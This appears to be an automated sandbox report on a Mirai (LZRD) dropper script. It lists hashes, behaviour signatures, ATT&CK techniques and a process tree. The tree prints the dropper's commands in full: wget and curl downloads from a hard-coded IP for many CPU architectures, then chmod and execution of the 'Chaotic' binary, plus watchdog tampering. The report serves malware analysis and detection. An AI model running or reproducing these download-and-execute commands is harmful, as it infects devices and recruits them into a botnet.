mirai | 6063eae6f91c29dbfa3fa8cd98fe0859bc82c5a2ac5da1d17e8067e75f7bc3c8

Analysis

max time kernel
136s
max time network
148s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04-01-2025 13:30

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General

Target

ohshit.sh
Size

3KB
MD5

0ce735d692827eb3c30a642449846d80
SHA1

89fc4534b140f52ebef84420b843e3d0f4236ccc
SHA256

6063eae6f91c29dbfa3fa8cd98fe0859bc82c5a2ac5da1d17e8067e75f7bc3c8
SHA512

15b3aeb395598dc8b57133c4aec4bc7db9777be7699ebf55fc12138bd6806e1ca7daa7e234f19e1567026cbbeddc912cbaf8e46ee62e1c68858b0eb72ca53c38

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
897	chmod
795	chmod
831	chmod
846	chmod
852	chmod
857	chmod
891	chmod
908	chmod
744	chmod
840	chmod
873	chmod
902	chmod
867	chmod
879	chmod
885	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	745	Chaotic
/tmp/Chaotic	796	Chaotic
/tmp/Chaotic	832	Chaotic
/tmp/Chaotic	841	Chaotic
/tmp/Chaotic	847	Chaotic
/tmp/Chaotic	853	Chaotic
/tmp/Chaotic	858	Chaotic
/tmp/Chaotic	868	Chaotic
/tmp/Chaotic	874	Chaotic
/tmp/Chaotic	880	Chaotic
/tmp/Chaotic	886	Chaotic
/tmp/Chaotic	892	Chaotic
/tmp/Chaotic	898	Chaotic
/tmp/Chaotic	903	Chaotic
/tmp/Chaotic	909	Chaotic

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-7.dat	upx
behavioral4/files/fstream-8.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/76/status	Chaotic
File opened for reading	/proc/118/status	Chaotic
File opened for reading	/proc/337/status	Chaotic
File opened for reading	/proc/339/status	Chaotic
File opened for reading	/proc/717/status	Chaotic
File opened for reading	/proc/16/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/681/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/250/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/70/status	Chaotic
File opened for reading	/proc/71/status	Chaotic
File opened for reading	/proc/341/status	Chaotic
File opened for reading	/proc/384/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/12/status	Chaotic
File opened for reading	/proc/712/status	Chaotic
File opened for reading	/proc/119/status	Chaotic
File opened for reading	/proc/710/status	Chaotic
File opened for reading	/proc/77/status	Chaotic
File opened for reading	/proc/110/status	Chaotic
File opened for reading	/proc/335/status	Chaotic
File opened for reading	/proc/9/status	Chaotic
File opened for reading	/proc/69/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/3/status	Chaotic
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/19/status	Chaotic
File opened for reading	/proc/37/status	Chaotic
File opened for reading	/proc/68/status	Chaotic
File opened for reading	/proc/151/status	Chaotic
File opened for reading	/proc/683/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/714/status	Chaotic
File opened for reading	/proc/861/status	Chaotic
File opened for reading	/proc/82/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/18/status	Chaotic
File opened for reading	/proc/20/status	Chaotic
File opened for reading	/proc/425/status	Chaotic
File opened for reading	/proc/678/status	Chaotic
File opened for reading	/proc/711/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/390/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/81/status	Chaotic
File opened for reading	/proc/146/status	Chaotic
File opened for reading	/proc/386/status	Chaotic
File opened for reading	/proc/24/status	Chaotic
File opened for reading	/proc/338/status	Chaotic
File opened for reading	/proc/234/status	Chaotic
File opened for reading	/proc/858/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/status	Chaotic
File opened for reading	/proc/21/status	Chaotic

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
849	wget
850	curl
851	cat
843	wget
844	curl
845	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:714
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:724
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:743
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-083a7e13656d4bb3b264999a4b77ae06-systemd-timedated.service-0DlFi5 ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:745
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:794
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-083a7e13656d4bb3b264999a4b77ae06-systemd-timedated.service-0DlFi5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:796
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:798
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:830
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh systemd-private-083a7e13656d4bb3b264999a4b77ae06-systemd-timedated.service-0DlFi5 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:832
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:839
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:845
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:847
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:849
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:851
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:853
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:854
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:856
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:858
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:864
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:866
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:868
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:870
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:872
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:874
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:876
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:878
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:880
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:882
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:884
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:886
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:888
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:890
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:892
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:896
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:898
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:899
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:900
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:901
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:903
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:905
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:907
- /bin/chmod
  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:909

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
45f47c10e0d27c00ac46899fda99f1f3

SHA1
f68e23694abb254e1a5c7b169547516baead730b

SHA256
39e7164325dd360f891bf0f9f8e7bebb1c90eb071bb5e98d621793d416647482

SHA512
dde1d3c1a50cc5647bb2003309da0d1211bb2261de1655ae21bc7782bf36648b08793667ab5b91992f40829f019ee3cda4de48caf5245960b162c7f5f6b3bc6e

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/tmp/Chaotic

Filesize
36KB

MD5
a8d68db5da4f6a7a3e1deb8e215b373c

SHA1
b4c0c438485641b0dc66aa7f9a1c2ed641e312dd

SHA256
8462b46a614a1430cc8ee38ec616c52be8a40cb313f4a924d997e3e4bb2cb51d

SHA512
2a78bdbe2452a4decca2d77077cfc82fc80fc38a0c00cd50db2f8163290dcc7cbf4c3e81b694e06359f2e0b07ed0a449d5b33977dfd179b71ca103843c84988f

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/tmp/Chaotic

Filesize
37KB

MD5
b5f71d173c24de88a6d47faeac0ece91

SHA1
c03bf31317e6b26e428bfd7d600cc3060919ee88

SHA256
3ef4071f6400e80f9fe2cc0b73f4753887cf67baf991c7d6379f4a3a6057646e

SHA512
c0a5d1641888473b8ff85a1f1534da77fd5165245db02fa9ae7b9e073515f4ec2531e17c065d94e742f341f5e25bf8f26be94cd0ce9e52ca294f820fe24984bc

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/tmp/Chaotic

Filesize
43KB

MD5
9b5df40ff02aa4c459013a44db247e16

SHA1
48c4c9eb53a8c08be56280dc2c281b841d63d409

SHA256
484b9bfe7ff983a6e55c5304c38d3183bc32e843bb3fed4627d94f9a8a9d4ea9

SHA512
254e4cfa6fb5332702bf37c57202d566b82b7a112ec3894bd2f60dc6cd73810af7fd2de7e9578c4bb13292cb92b62ccfeff27a713ae259409f5ec4b7e3031ba3

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/tmp/Chaotic

Filesize
95KB

MD5
78168d3c15137a247124c7cb2307cffd

SHA1
643a0b4a980976a107651b08068173351c02cc21

SHA256
32110baa3f4a395e11411045cc5221ef270f73dd83126839f6d7939137dd1624

SHA512
334bc0d8e7d35c879dc0f6a81a2146146a66891853093d8bb3a0f3ab928ec5e07a79b443ea455da0f5facc540744dbcd0c537c8beefe2e51ea04292c70ffcaaa

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/tmp/busybox

Filesize
857KB

MD5
6ffc46165b5d9726a6607f3ea5305589

SHA1
ab127220f42e816b413dde0d17031e251a7bc98f

SHA256
80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

SHA512
456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

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/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
1dcd23c847d8cba5b5d634511b6bf9ee

SHA1
06e038d11d3a5f7b0875e3594531b5a9df4dab79

SHA256
0b7c0bf25d7092d28d5f7e41087c53309ae1c39f2f8b60517b3e9cd89404312e

SHA512
d5ee9e1552a0df29fb9ff1fc9e651c26afc8b2415df33cdf97ac27ecb9d327b56d0d49cd0006ccc8ed9807642ef82f44ea00a69349eaba17241f78eaae5a2ca4

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads